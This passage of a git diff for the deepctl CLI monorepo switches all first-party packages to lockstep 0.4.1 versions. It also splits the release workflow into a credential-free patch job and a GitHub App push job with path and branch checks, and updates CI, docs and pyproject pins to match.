+    permissions:
+      contents: read
+    # Two commits landing on main in quick succession would otherwise compute
+    # two patches against the same branch. Serialize instead of cancelling.
     concurrency:
       group: sync-release-pr
       cancel-in-progress: false
+    outputs:
+      changed: ${{ steps.patch.outputs.changed }}
+      base: ${{ steps.patch.outputs.base }}
+    env:
+      BRANCH: ${{ fromJSON(needs.release-please.outputs.pr).headBranchName }}
     steps:
-      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1  # v4
+      - name: Refuse anything but a release-please branch
+        run: |
+          case "${BRANCH}" in
+            release-please--*) ;;
+            *) echo "::error::refusing to re-pin ${BRANCH}: not a release-please branch"; exit 1 ;;
+          esac
+
+      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1  # v7.0.1
         with:
-          ref: ${{ fromJSON(needs.release-please.outputs.pr).headBranchName }}
+          ref: ${{ env.BRANCH }}
+          persist-credentials: false
 
       - name: Set up Python
         uses: actions/setup-python@6d4fd22b20465ccc0f7354476588e8df7c9ca0e0  # v7.1.0
@@ -52,38 +74,146 @@ jobs:
 
       - name: Install uv
         uses: astral-sh/setup-uv@68559e99cc807c1eb7e9238fd43a15bba460eec2  # v10.3.3
-
-      # release-please bumps every pyproject version but updates neither
-      # uv.lock (CI's `uv sync --locked` then fails all jobs at the install
-      # step -- the 0.2.28/0.3.0 wall, twice) nor the root dependency floors
-      # (without which `dg update` on pip delivers the wrapper and skips the
-      # sub-packages the changelog advertises). Both are mechanical
-      # consequences of the version bumps, so regenerate them here.
-      #
-      # Caveat: this push uses GITHUB_TOKEN, which does not retrigger the
-      # PR's checks. The routine hand-edit of the release notes retriggers
-      # them; for an untouched release PR, re-run checks from the UI. If
-      # releases ever need to go out unattended, switch this push to a
-      # dedicated PAT or GitHub App token.
-      - name: Regenerate uv.lock and pin root floors
+        with:
+          version: "0.13.6"
+          # No cache: nothing this job writes may be restored by another job.
+          enable-cache: false
+
+      # release-please moves every lockstep version and marked pin. --fix
+      # catches anything it could not (a package added since, an unmarked
+      # pin), uv.lock follows the new versions (CI's `uv sync --locked` fails
+      # every job without it), and the plain check proves the result. The
+      # check's one dependency is installed hash-pinned.
+      - name: Re-pin and regenerate uv.lock
         run: |
           set -euo pipefail
-          uv run python scripts/check_dependency_floors.py --fix
+          printf '%s\n' 'packaging==26.3 --hash=sha256:d7193f7c8e4e93f444fde0262bf90af30e16fa0ad0ad44cb553c87339b23cd1c' > "${RUNNER_TEMP}/check-requirements.txt"
+          uv venv -q "${RUNNER_TEMP}/check"
+          uv pip install -q --python "${RUNNER_TEMP}/check/bin/python" --require-hashes --only-binary :all: -r "${RUNNER_TEMP}/check-requirements.txt"
+          "${RUNNER_TEMP}/check/bin/python" scripts/check_dependency_floors.py --fix
           uv lock
-          uv run python scripts/check_dependency_floors.py
+          "${RUNNER_TEMP}/check/bin/python" scripts/check_dependency_floors.py
 
-      - name: Commit and push if changed
+      - name: Write the re-pin as a patch
+        id: patch
         run: |
           set -euo pipefail
-          if git diff --quiet; then
-            echo "uv.lock and floors already in sync"
+          echo "base=$(git rev-parse HEAD)" >> "${GITHUB_OUTPUT}"
+          git add pyproject.toml packages/*/pyproject.toml uv.lock
+          # Anything else the re-pin touched means release-please and the
+          # check disagree about the tree; stop rather than push half of it.
+          if ! git diff --quiet; then
+            echo "::error::re-pin changed files outside the pyprojects and uv.lock:"
+            git diff --name-only
+            exit 1
+          fi
+          if git diff --cached --quiet; then
+            echo "versions, pins and uv.lock already in sync"
+            echo "changed=false" >> "${GITHUB_OUTPUT}"
             exit 0
           fi
-          git config user.name "github-actions[bot]"
-          git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
-          git add uv.lock pyproject.toml
-          git commit -m "chore: sync uv.lock and root dependency floors with release-please bumps"
-          git push
+          git diff --cached --no-renames --binary > repin.patch
+          git diff --cached --stat
+          echo "changed=true" >> "${GITHUB_OUTPUT}"
+
+      - name: Hand the patch to the push job
+        if: ${{ steps.patch.outputs.changed == 'true' }}
+        uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9  # v7.0.2
+        with:
+          name: repin-patch
+          path: repin.patch
+          retention-days: 1
+
+  push-release-pr:
+    name: Push the re-pin with the release App
+    needs: [release-please, sync-release-pr]
+    if: ${{ needs.sync-release-pr.outputs.changed == 'true' }}
+    runs-on: ubuntu-latest
+    # The App's private key is a secret of the `release` environment, whose
+    # deployment branches are limited to main: a workflow on any other branch
+    # can't read it.
+    environment: release
+    permissions:
+      contents: read
+    concurrency:
+      group: push-release-pr
+      cancel-in-progress: false
+    env:
+      BRANCH: ${{ fromJSON(needs.release-please.outputs.pr).headBranchName }}
+      BASE: ${{ needs.sync-release-pr.outputs.base }}
+    steps:
+      - name: Refuse anything but a release-please branch
+        run: |
+          case "${BRANCH}" in
+            release-please--*) ;;
+            *) echo "::error::refusing to push to ${BRANCH}: not a release-please branch"; exit 1 ;;
+          esac
+
+      # A token for this repository only, with contents: write and nothing
+      # else. Commits pushed with an App token trigger the PR's workflows, so
+      # the required checks (Lockstep versions among them) run on the release
+      # PR's final head. GITHUB_TOKEN pushes trigger nothing.
+      - name: Mint the release App token
+        id: app-token
+        uses: actions/create-github-app-token@64ab729a6294000f5aa4a4bc0b73d1f32bc45510  # v3.3.0
+        with:
+          client-id: ${{ vars.RELEASE_APP_CLIENT_ID }}
+          private-key: ${{ secrets.RELEASE_APP_PRIVATE_KEY }}
+          permission-contents: write
+
+      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1  # v7.0.1
+        with:
+          ref: ${{ env.BRANCH }}
+          persist-credentials: false
+
+      - name: Fetch the patch
+        uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333  # v8.0.2
+        with:
+          name: repin-patch
+          path: ${{ runner.temp }}/repin
+
+      - name: Apply the patch and check what it touches
+        run: |
+          set -euo pipefail
+          if [ "$(git rev-parse HEAD)" != "${BASE}" ]; then
+            echo "::error::${BRANCH} moved since the patch was computed; the next release-please run re-pins it"
+            exit 1
+          fi
+          git apply --check "${RUNNER_TEMP}/repin/repin.patch"
+          git apply --index "${RUNNER_TEMP}/repin/repin.patch"
+          # Only in-place edits of existing regular files, at exact paths:
+          # renames are listed as a delete plus an add, so neither a rename,
+          # a new file, a deletion, a symlink nor a mode change gets through.
+          git diff --cached --no-renames --raw | while read -r om nm _ _ st path; do
+            if [ "${om#:} ${nm} ${st}" != "100644 100644 M" ]; then
+              echo "::error::${path}: only in-place edits of existing files are allowed (${om#:} ${nm} ${st})"; exit 1
+            fi
+            if ! [[ "${path}" =~ ^(pyproject\.toml|uv\.lock|packages/[^/]+/pyproject\.toml)$ ]]; then
+              echo "::error::the patch touches ${path}"; exit 1
+            fi
+          done
+
+      # The token reaches git only through GIT_CONFIG_* environment entries:
+      # never in a URL, an argument or .git/config, and hooks are off.
+      - name: Commit and push with the release App token
+        env:
+          APP_TOKEN: ${{ steps.app-token.outputs.token }}
+          APP_SLUG: ${{ steps.app-token.outputs.app-slug }}
+        run: |
+          set -euo pipefail
+          BOT_ID=$(GH_TOKEN="${APP_TOKEN}" gh api "/users/${APP_SLUG}%5Bbot%5D" --jq .id)
+          git -c core.hooksPath=/dev/null \
+            -c user.name="${APP_SLUG}[bot]" \
+            -c user.email="${BOT_ID}+${APP_SLUG}[bot]@users.noreply.github.com" \
+            commit -m "chore: re-pin lockstep versions and regenerate uv.lock"
+          AUTH=$(printf 'x-access-token:%s' "${APP_TOKEN}" | base64 -w0)
+          echo "::add-mask::${AUTH}"
+          GIT_CONFIG_COUNT=2 \
+          GIT_CONFIG_KEY_0="http.https://github.com/.extraheader" \
+          GIT_CONFIG_VALUE_0="AUTHORIZATION: basic ${AUTH}" \
+          GIT_CONFIG_KEY_1="core.hooksPath" \
+          GIT_CONFIG_VALUE_1="/dev/null" \
+            git push origin "HEAD:refs/heads/${BRANCH}"
 
   build:
     name: Build packages
@@ -218,9 +348,8 @@ jobs:
     needs: [release-please, publish, verify-published]
     # Re-assert latest on the root package tag (vX.Y.Z) after PyPI publish so
     # users clicking "latest" land on a tag whose artifact is actually
-    # installable. Also re-asserts after all sub-package releases since
-    # release-please processes them sequentially and a sub-package release
-    # created after the root tag can steal the pointer.
+    # installable. The plugin example's own release (its only other
+    # component) is created with make-latest false.
     if: |
       needs.release-please.outputs.release_created == 'true' &&
       startsWith(needs.release-please.outputs.tag_name, 'v')
diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
index 44f3d6ed..0c8e674f 100644
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@@ -69,8 +69,8 @@ jobs:
       - name: Type check
         run: uv run mypy src/ packages/*/src scripts/
 
-  floors:
-    name: Dependency floors
+  lockstep:
+    name: Lockstep versions
     runs-on: ubuntu-latest
     steps:
       - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1  # v4
@@ -83,10 +83,12 @@ jobs:
       - name: Install uv
         uses: astral-sh/setup-uv@68559e99cc807c1eb7e9238fd43a15bba460eec2  # v10.3.3
 
-      # Root floors must equal workspace versions or `pip install --upgrade
-      # deepctl` (what `dg update` runs) silently skips the packages whose
-      # fixes the release advertises. See scripts/check_dependency_floors.py.
-      - name: Check dependency floors
+      # Every first-party package ships at the root's version: every version,
+      # every first-party pin `==` it, every package's `deepctl==` back-edge,
+      # and root lists every package. A mismatch lets pip pair packages from
+      # two releases. The release PR has to pass it like any other.
+      # See scripts/check_dependency_floors.py.
+      - name: Check lockstep versions and pins
         run: make floors-check
 
   build-test:
@@ -112,6 +114,39 @@ jobs:
       - name: Verify packages
         run: make verify-packages
 
+  lowest-direct:
+    name: Lowest direct dependencies / Python ${{ matrix.python-version }}
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        python-version: ["3.10", "3.12"]
+    steps:
+      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1  # v7.0.1
+
+      - name: Set up Python ${{ matrix.python-version }}
+        uses: actions/setup-python@6d4fd22b20465ccc0f7354476588e8df7c9ca0e0  # v7.1.0
+        with:
+          python-version: ${{ matrix.python-version }}
+
+      - name: Install uv
+        uses: astral-sh/setup-uv@07a047e608db84b3d8c06cd9a7c7dcc9c355c18e  # v10.3.2
+        with:
+          version: "0.13.6"
+
+      - name: Build every package
+        run: uv build --all-packages --wheel --out-dir dist
+
+      # One environment: the whole lockstep closure with every third-party
+      # dependency at the lowest version the 30 pyprojects together allow.
+      # The CLI's --help tree and the unit tests run in it; floors that sit
+      # below what the closure resolves are listed in the log.
+      - name: Install the closure at its floors, then run the CLI and unit tests
+        env:
+          DEEPCTL_TELEMETRY_DISABLED: "1"
+          DEEPCTL_TELEMETRY_DSN: "http://k@127.0.0.1:9/1"
+        run: tests/upgrade/lowest_direct.sh dist python
+
   # Single rollup so branch protection needs exactly one required check.
   # Requiring the matrix contexts directly means editing repo settings every
   # time a Python version or OS is added or dropped, and a required context
@@ -123,7 +158,7 @@ jobs:
   # cancelled and skipped prerequisites are failures here too.
   all-checks:
     name: All checks
-    needs: [test, lint, floors, build-test]
+    needs: [test, lint, lockstep, lowest-direct, build-test]
     if: always()
     runs-on: ubuntu-latest
     steps:
@@ -131,7 +166,8 @@ jobs:
         run: |
           echo "test:       ${{ needs.test.result }}"
           echo "lint:       ${{ needs.lint.result }}"
-          echo "floors:     ${{ needs.floors.result }}"
+          echo "lockstep:   ${{ needs.lockstep.result }}"
+          echo "lowest-direct: ${{ needs.lowest-direct.result }}"
           echo "build-test: ${{ needs.build-test.result }}"
 
       - name: Fail unless every prerequisite succeeded
diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md
index 833d5c79..c30f008e 100644
--- a/CONTRIBUTING.md
+++ b/CONTRIBUTING.md
@@ -56,34 +56,45 @@ dg new-command
 
 Or manually create a package under `packages/` following the existing pattern. Every new package needs updates to:
 
-- `packages/<name>/pyproject.toml` — package metadata and entry point
+- `packages/<name>/pyproject.toml` — package metadata and entry point, at the root version
 - Root `pyproject.toml` — dependency + `[tool.uv.sources]`
-- `.github/release-please-config.json` — component definition
-- `.github/.release-please-manifest.json` — initial version
+- `.github/release-please-config.json` — the package's `pyproject.toml` in the root component's `extra-files`
 - `.github/workflows/test.yml` — test path
 
-Then run `make readmes` to update all READMEs.
-
-The root `pyproject.toml` dependency is not optional bookkeeping — it is the
-delivery manifest. `pip install --upgrade deepctl` (what `dg update` runs)
-only installs what root depends on, so a published package missing from that
-list never reaches anyone. `make floors-check` fails on both that omission and
-a floor left below the workspace version; run `make floors-fix` to pin floors.
+Then run `make floors-fix` (pins and back-edge) and `make readmes`.
+
+Every first-party package ships at one version (lockstep). The root
+`pyproject.toml` pins each package `==` that version and is the delivery
+manifest: `pip install --upgrade deepctl` (what `dg update` runs) only installs
+what root depends on. Every package pins its first-party dependencies `==` the
+same version and declares `deepctl==` it too (the back-edge), so upgrading any
+one package moves the whole set or the resolver refuses. Each of those pin
+lines carries `# x-release-please-version` so release-please moves it.
+`make floors-check` fails on any version or pin that differs, a missing
+back-edge, or a package root does not list; `make floors-fix` repairs them.
+`deepctl-plugin-example` is the exception: it is the third-party fixture and
+versions on its own. The per-package `packages/*/CHANGELOG.md` files stop at
+each package's last separate release; the root `CHANGELOG.md` covers every
+package from the first lockstep release on.
 
 ### Releasing
 
 Releases are driven by release-please. Two things are worth knowing before you
 run one:
 
-**Land your release-notes edits as a commit, not a PR description edit.**
-`sync-release-pr` regenerates `uv.lock` and the root dependency floors on the
-release branch automatically, but it pushes with `GITHUB_TOKEN`, which by
-design retriggers nothing — so the PR's checks still reflect the bot's first
-commit and stay red on content that is now correct. Editing `CHANGELOG.md` on
-the branch is a commit and retriggers them. Editing the PR *description* does
-not: that fires `pull_request: edited`, which is outside the default trigger
-types. If a release ever needs to go out unattended, switch that push to a
-dedicated PAT or GitHub App token.
+**One release PR, one version, one tag.** release-please bumps every
+package's version and every marked pin. The release workflow then re-pins the
+release branch in two jobs: `sync-release-pr` runs `make floors-fix` and
+`uv lock` with no credentials and hands over a patch, and `push-release-pr`
+applies it and pushes with the release GitHub App's token, so the required
+checks run on the release PR's final head (a `GITHUB_TOKEN` push would
+retrigger nothing). A release PR is only green once that push has landed. If
+the App isn't set up (the `RELEASE_APP_CLIENT_ID` variable and the
+`RELEASE_APP_PRIVATE_KEY` secret of the `release` environment, which only
+`main` may deploy to), `push-release-pr` fails at minting the token rather
+than leaving the checks stale. Land release-notes edits as a commit on the
+branch, not as a PR description edit: a description edit fires
+`pull_request: edited`, which is outside the default trigger types.
 
 **Nothing advertises a release until it is installable.** `verify-published`
 polls PyPI until `pip install deepctl==X` resolves its full closure, then
diff --git a/Makefile b/Makefile
index 49b13b83..9011d43f 100644
--- a/Makefile
+++ b/Makefile
@@ -148,10 +148,10 @@ readmes: ## Generate sub-package READMEs from pyproject.toml metadata
 readmes-check: ## Check sub-package READMEs are up to date
 	python3 scripts/generate_readmes.py --check
 
-floors-check: ## Check intra-workspace dependency floors (root must pin workspace versions)
+floors-check: ## Check lockstep versions: every package at the root version, every first-party pin ==
 	uv run python scripts/check_dependency_floors.py
 
-floors-fix: ## Pin root dependency floors to the current workspace versions
+floors-fix: ## Set every package version, first-party pin and back-edge to the root version
 	uv run python scripts/check_dependency_floors.py --fix
 
 # ===================================================================
diff --git a/README.md b/README.md
index 1ef3cbd7..f815c430 100644
--- a/README.md
+++ b/README.md
@@ -617,8 +617,8 @@ cli/
 
 Merging [conventional commits](https://www.conventionalcommits.org/) to `main`
 triggers [release-please](https://github.com/googleapis/release-please) to open
-a release PR. Merging that PR creates tags and publishes all changed packages to
-PyPI. Each package is versioned independently.
+a release PR. Every first-party package is versioned in lockstep: merging that
+PR creates one tag and publishes every package at the same version to PyPI.
 
 ## Requirements
 
diff --git a/packages/deepctl-cmd-api/pyproject.toml b/packages/deepctl-cmd-api/pyproject.toml
index fee8f39c..2ad355e4 100644
--- a/packages/deepctl-cmd-api/pyproject.toml
+++ b/packages/deepctl-cmd-api/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-api"
-version = "0.0.2" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "API command for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,7 +21,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "api", "rest"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.1.10",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "pydantic>=2.0.0",
@@ -40,3 +41,7 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_api*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-billing/pyproject.toml b/packages/deepctl-cmd-billing/pyproject.toml
index 3fd445f4..6c060b0a 100644
--- a/packages/deepctl-cmd-billing/pyproject.toml
+++ b/packages/deepctl-cmd-billing/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-billing"
-version = "0.1.0" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Billing command for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,7 +21,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "billing", "usage"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.2.16",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "pydantic>=2.0.0",
@@ -38,3 +39,7 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_billing*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-completion/pyproject.toml b/packages/deepctl-cmd-completion/pyproject.toml
index 954bec2b..0e955a9d 100644
--- a/packages/deepctl-cmd-completion/pyproject.toml
+++ b/packages/deepctl-cmd-completion/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-completion"
-version = "0.0.3" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Shell completion command for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,7 +21,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "completion", "shell"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.1.10",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "pydantic>=2.0.0",
@@ -39,3 +40,7 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_completion*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-debug-audio/pyproject.toml b/packages/deepctl-cmd-debug-audio/pyproject.toml
index 1f72325e..9af5379a 100644
--- a/packages/deepctl-cmd-debug-audio/pyproject.toml
+++ b/packages/deepctl-cmd-debug-audio/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-debug-audio"
-version = "0.1.14" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Audio debug subcommand for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,7 +21,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "debug", "audio", "diagnostics"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.1.10",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "pydantic>=2.0.0",
@@ -41,3 +42,7 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_debug_audio*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-debug-browser/pyproject.toml b/packages/deepctl-cmd-debug-browser/pyproject.toml
index a37a0104..4b6fdda5 100644
--- a/packages/deepctl-cmd-debug-browser/pyproject.toml
+++ b/packages/deepctl-cmd-debug-browser/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-debug-browser"
-version = "0.1.12" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Browser debug subcommand for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,7 +21,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "debug", "browser", "diagnostics"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.1.10",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "pydantic>=2.0.0",
@@ -47,3 +48,7 @@ include = ["deepctl_cmd_debug_browser*"]
 
 [tool.setuptools.package-data]
 deepctl_cmd_debug_browser = ["static/*.html"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-debug-network/pyproject.toml b/packages/deepctl-cmd-debug-network/pyproject.toml
index 6391fa1d..d7273dc6 100644
--- a/packages/deepctl-cmd-debug-network/pyproject.toml
+++ b/packages/deepctl-cmd-debug-network/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-debug-network"
-version = "0.1.12" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Network debug subcommand for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,7 +21,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "debug", "network", "diagnostics"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.1.10",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "pydantic>=2.0.0",
@@ -41,3 +42,7 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_debug_network*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-debug-probe/pyproject.toml b/packages/deepctl-cmd-debug-probe/pyproject.toml
index 8b47a301..dc610223 100644
--- a/packages/deepctl-cmd-debug-probe/pyproject.toml
+++ b/packages/deepctl-cmd-debug-probe/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-debug-probe"
-version = "0.0.2" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Debug probe subcommand for deepctl — live ffprobe analysis during streaming"
 readme = "README.md"
 license = "MIT"
@@ -21,8 +21,9 @@ classifiers = [
 keywords = ["deepgram", "cli", "debug", "probe", "ffprobe", "websocket"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.1.10",
-    "deepctl-shared-utils>=0.1.10",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
+    "deepctl-shared-utils==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "pydantic>=2.0.0",
@@ -41,3 +42,8 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_debug_probe*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
+deepctl-shared-utils = { workspace = true }
diff --git a/packages/deepctl-cmd-debug-toolkit/pyproject.toml b/packages/deepctl-cmd-debug-toolkit/pyproject.toml
index b223d5d0..3eda3c87 100644
--- a/packages/deepctl-cmd-debug-toolkit/pyproject.toml
+++ b/packages/deepctl-cmd-debug-toolkit/pyproject.toml
@@ -4,14 +4,15 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-debug-toolkit"
-version = "0.2.0" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Toolkit subcommand for dg debug — runs field support scripts from deepgram/support-toolkit"
 readme = "README.md"
 authors = [{ name = "Deepgram", email = "devrel@deepgram.com" }]
 requires-python = ">=3.10"
 license = "MIT"
 dependencies = [
-    "deepctl-core>=0.1.10",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "httpx>=0.27.0",
     "pydantic>=2.10.1",
     "platformdirs>=4.0.0",
@@ -46,3 +47,7 @@ ignore = ["E501"]
 python_version = "3.10"
 warn_return_any = true
 warn_unused_configs = true
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-debug/pyproject.toml b/packages/deepctl-cmd-debug/pyproject.toml
index a9b1524d..c84ad7ad 100644
--- a/packages/deepctl-cmd-debug/pyproject.toml
+++ b/packages/deepctl-cmd-debug/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-debug"
-version = "0.1.13" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Debug command group for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,7 +21,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "debug", "diagnostics"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.1.10",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "pydantic>=2.0.0",
@@ -39,3 +40,7 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_debug*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-ffprobe/pyproject.toml b/packages/deepctl-cmd-ffprobe/pyproject.toml
index e4db52ed..3e3ad01d 100644
--- a/packages/deepctl-cmd-ffprobe/pyproject.toml
+++ b/packages/deepctl-cmd-ffprobe/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-ffprobe"
-version = "0.0.3" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "FFprobe configuration command for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,8 +21,9 @@ classifiers = [
 keywords = ["deepgram", "cli", "ffprobe", "audio", "config"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.1.10",
-    "deepctl-shared-utils>=0.1.10",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
+    "deepctl-shared-utils==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "pydantic>=2.0.0",
@@ -40,3 +41,8 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_ffprobe*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
+deepctl-shared-utils = { workspace = true }
diff --git a/packages/deepctl-cmd-init/pyproject.toml b/packages/deepctl-cmd-init/pyproject.toml
index 4b532ba5..f818e637 100644
--- a/packages/deepctl-cmd-init/pyproject.toml
+++ b/packages/deepctl-cmd-init/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-init"
-version = "0.1.0" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "Init command for deepctl — scaffold Deepgram starter apps"
 readme = "README.md"
 license = "MIT"
@@ -21,7 +21,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "init", "starter", "templates"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.1.10",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "httpx>=0.24.0",
@@ -40,3 +41,4 @@ include = ["deepctl_cmd_init*"]
 
 [tool.uv.sources]
 deepctl-core = { workspace = true }
+deepctl = { workspace = true }
diff --git a/packages/deepctl-cmd-keys/pyproject.toml b/packages/deepctl-cmd-keys/pyproject.toml
index 7a98b690..8f99bd96 100644
--- a/packages/deepctl-cmd-keys/pyproject.toml
+++ b/packages/deepctl-cmd-keys/pyproject.toml
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
 
 [project]
 name = "deepctl-cmd-keys"
-version = "0.1.0" # x-release-please-version
+version = "0.4.1" # x-release-please-version
 description = "API keys management command for deepctl"
 readme = "README.md"
 license = "MIT"
@@ -21,7 +21,8 @@ classifiers = [
 keywords = ["deepgram", "cli", "keys", "api-keys"]
 requires-python = ">=3.10"
 dependencies = [
-    "deepctl-core>=0.2.16",
+    "deepctl==0.4.1", # x-release-please-version
+    "deepctl-core==0.4.1", # x-release-please-version
     "click>=8.0.0",
     "rich>=13.0.0",
     "pydantic>=2.0.0",
@@ -38,3 +39,7 @@ package-dir = { "" = "src" }
 [tool.setuptools.packages.find]
 where = ["src"]
 include = ["deepctl_cmd_keys*"]
+
+[tool.uv.sources]
+deepctl = { workspace = true }
+deepctl-core = { workspace = true }
diff --git a/packages/deepctl-cmd-listen/pyproject.toml b/packages/deepctl-cmd-listen/pyproject.toml
index a9b0a869..e721d165 100644
--- a/packages/deepctl-cmd-listen/pyproject.toml
+++ b/packages/deepctl-cmd-listen/pyproject.toml
